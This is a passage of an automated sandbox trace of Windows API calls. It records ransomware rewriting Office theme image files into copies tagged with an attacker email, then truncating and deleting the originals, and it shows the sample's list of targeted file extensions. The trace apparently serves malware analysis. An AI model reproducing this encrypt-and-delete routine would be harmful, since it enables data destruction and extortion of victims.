lpOverlapped=0x0) returned 1 [0212.730] SetEndOfFile (hFile=0x208) returned 1 [0212.730] CloseHandle (hObject=0x208) returned 1 [0212.730] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.730] SetEndOfFile (hFile=0x168) returned 1 [0212.731] CloseHandle (hObject=0x168) returned 1 [0212.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.731] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0212.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.731] lstrlenW (lpString=".doc") returned 4 [0212.731] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.731] lstrlenW (lpString=".docx") returned 5 [0212.731] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.731] lstrlenW (lpString=".pdf") returned 4 [0212.731] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.731] lstrlenW (lpString=".xls") returned 4 [0212.731] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.731] lstrlenW (lpString=".xlsx") returned 5 [0212.731] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.731] lstrlenW (lpString=".ppt") returned 4 [0212.731] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.731] lstrlenW (lpString=".zip") returned 4 [0212.731] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.732] lstrlenW (lpString=".rar") returned 4 [0212.732] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.732] lstrlenW (lpString=".bz2") returned 4 [0212.732] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString=".7z") returned 3 [0212.732] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString=".dbf") returned 4 [0212.732] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString=".1cd") returned 4 [0212.732] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString=".jpg") returned 4 [0212.732] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString=".doc") returned 4 [0212.732] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString=".docx") returned 5 [0212.732] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.732] lstrlenW (lpString=".pdf") returned 4 [0212.732] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString=".xls") returned 4 [0212.732] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.732] lstrlenW (lpString=".xlsx") returned 5 [0212.732] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.732] lstrlenW (lpString=".ppt") returned 4 [0212.732] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString=".zip") returned 4 [0212.732] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.732] lstrlenW (lpString=".rar") returned 4 [0212.732] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.732] lstrlenW (lpString=".bz2") returned 4 [0212.732] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString=".7z") returned 3 [0212.732] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString=".dbf") returned 4 [0212.732] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.732] lstrlenW (lpString=".1cd") returned 4 [0212.732] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0212.733] lstrlenW (lpString=".jpg") returned 4 [0212.733] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.733] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.733] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.733] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=32433) returned 1 [0212.733] CloseHandle (hObject=0x168) returned 1 [0212.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0212.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.733] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.733] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.734] GetLastError () returned 0x0 [0212.734] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0212.746] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0212.747] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.747] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.747] SetEndOfFile (hFile=0x208) returned 1 [0212.748] CloseHandle (hObject=0x208) returned 1 [0212.748] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.748] SetEndOfFile (hFile=0x168) returned 1 [0212.748] CloseHandle (hObject=0x168) returned 1 [0212.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString=".doc") returned 4 [0212.749] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.749] lstrlenW (lpString=".docx") returned 5 [0212.749] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.749] lstrlenW (lpString=".pdf") returned 4 [0212.749] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.749] lstrlenW (lpString=".xls") returned 4 [0212.749] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.749] lstrlenW (lpString=".xlsx") returned 5 [0212.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.749] lstrlenW (lpString=".ppt") returned 4 [0212.749] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString=".zip") returned 4 [0212.749] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.749] lstrlenW (lpString=".rar") returned 4 [0212.749] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.749] lstrlenW (lpString=".bz2") returned 4 [0212.749] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.749] lstrlenW (lpString=".7z") returned 3 [0212.749] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString=".dbf") returned 4 [0212.749] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString=".1cd") returned 4 [0212.749] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString=".jpg") returned 4 [0212.749] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.749] lstrlenW (lpString=".doc") returned 4 [0212.766] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.766] lstrlenW (lpString=".docx") returned 5 [0212.766] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.825] lstrlenW (lpString=".pdf") returned 4 [0212.825] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.825] lstrlenW (lpString=".xls") returned 4 [0212.825] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.825] lstrlenW (lpString=".xlsx") returned 5 [0212.825] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.825] lstrlenW (lpString=".ppt") returned 4 [0212.825] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.825] lstrlenW (lpString=".zip") returned 4 [0212.825] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.825] lstrlenW (lpString=".rar") returned 4 [0212.825] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.825] lstrlenW (lpString=".bz2") returned 4 [0212.825] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.825] lstrlenW (lpString=".7z") returned 3 [0212.825] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.825] lstrlenW (lpString=".dbf") returned 4 [0212.825] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.825] lstrlenW (lpString=".1cd") returned 4 [0212.825] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0212.825] lstrlenW (lpString=".jpg") returned 4 [0212.825] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.825] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.825] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.826] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1659) returned 1 [0212.826] CloseHandle (hObject=0x184) returned 1 [0212.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0212.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.826] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.826] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0212.990] GetLastError () returned 0x0 [0212.990] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x67b, lpOverlapped=0x0) returned 1 [0212.994] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x680, lpOverlapped=0x0) returned 1 [0212.996] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.996] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.996] SetEndOfFile (hFile=0x194) returned 1 [0212.996] CloseHandle (hObject=0x194) returned 1 [0212.996] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.996] SetEndOfFile (hFile=0x184) returned 1 [0212.996] CloseHandle (hObject=0x184) returned 1 [0212.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.997] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.997] lstrlenW (lpString=".doc") returned 4 [0212.997] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.997] lstrlenW (lpString=".docx") returned 5 [0212.997] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.997] lstrlenW (lpString=".pdf") returned 4 [0212.997] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.997] lstrlenW (lpString=".xls") returned 4 [0212.997] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.997] lstrlenW (lpString=".xlsx") returned 5 [0212.997] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.997] lstrlenW (lpString=".ppt") returned 4 [0212.997] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.997] lstrlenW (lpString=".zip") returned 4 [0212.997] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.997] lstrlenW (lpString=".rar") returned 4 [0212.997] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.997] lstrlenW (lpString=".bz2") returned 4 [0212.997] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.997] lstrlenW (lpString=".7z") returned 3 [0212.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".dbf") returned 4 [0212.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".1cd") returned 4 [0212.998] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".jpg") returned 4 [0212.998] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".doc") returned 4 [0212.998] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.998] lstrlenW (lpString=".docx") returned 5 [0212.998] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.998] lstrlenW (lpString=".pdf") returned 4 [0212.998] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.998] lstrlenW (lpString=".xls") returned 4 [0212.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.998] lstrlenW (lpString=".xlsx") returned 5 [0212.998] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.998] lstrlenW (lpString=".ppt") returned 4 [0212.998] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".zip") returned 4 [0212.998] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.998] lstrlenW (lpString=".rar") returned 4 [0212.998] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.998] lstrlenW (lpString=".bz2") returned 4 [0212.998] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.998] lstrlenW (lpString=".7z") returned 3 [0212.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".dbf") returned 4 [0212.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".1cd") returned 4 [0212.998] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0212.998] lstrlenW (lpString=".jpg") returned 4 [0212.998] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.998] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.998] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.999] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=44850) returned 1 [0212.999] CloseHandle (hObject=0x184) returned 1 [0212.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0212.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.999] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.000] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0213.000] GetLastError () returned 0x0 [0213.000] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xaf32, lpOverlapped=0x0) returned 1 [0213.078] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0213.080] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.080] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: 